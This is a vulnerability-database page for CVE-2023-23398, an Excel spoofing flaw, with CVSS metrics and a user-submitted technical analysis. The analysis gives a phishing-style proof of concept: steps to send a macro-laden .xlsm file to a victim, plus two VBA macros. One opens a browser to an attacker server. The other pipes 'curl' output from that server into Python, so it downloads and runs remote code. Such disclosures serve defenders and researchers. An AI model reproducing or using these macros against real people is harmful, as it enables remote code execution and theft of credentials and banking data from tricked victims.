Attacker Value
High
(1 user assessed)
Exploitability
Moderate
(1 user assessed)
User Interaction
Required
Privileges Required
None
Attack Vector
Local
1

CVE-2023-23398

Disclosure Date: March 14, 2023
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Validated
Validated
Validated

Description

Microsoft Excel Spoofing Vulnerability

Add Assessment

0
Ratings
Technical Analysis

CVE-2023-23398

Description:

The attack itself is carried out locally by a user with authentication to the targeted system. An attacker could exploit the vulnerability by convincing a victim, through social engineering, to download and open a specially crafted file from a website which could lead to a local attack on the victim’s computer. The attacker can trick the victim to open a malicious web page by using an Excel malicious file and he can steal credentials, bank accounts information, sniffing and tracking all the traffic of the victim without stopping – it depends on the scenario and etc.

PoC

NOTE:

This is a Social Engineering custome user interaction spoofing method!

Usage

  1. Prepare your PoC.xlsm file with your information for your exploit server!
  2. Send to the victim by using the Social Engineering method.
  3. Wait until the victim click’s on it.

[+]Exploit:

Sub Check_your_salaries()
CreateObject("Shell.Application").ShellExecute "microsoft-edge:http://192.168.100.96/"
End Sub

[+]Exploit + Curl Piping:

WARNING:

The exploit server must be BROADCASTING at the moment when the victim hit the button of the exploit!

Sub silno_chukane()
  Call Shell("cmd.exe /S /c" & "curl -s http://192.168.100.96/PoC/PoC.py | python", vbNormalFocus)
End Sub

Reference:

href

href

Proof and Exploit

href

CVSS V3 Severity and Metrics
Base Score:
7.1 High
Impact Score:
5.2
Exploitability Score:
1.8
Vector:
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Attack Vector (AV):
Local
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
Required
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
None

General Information

Vendors

  • microsoft

Products

  • 365 apps -,
  • excel 2013,
  • excel 2016,
  • office 2019,
  • office 2021

Additional Info

Technical Analysis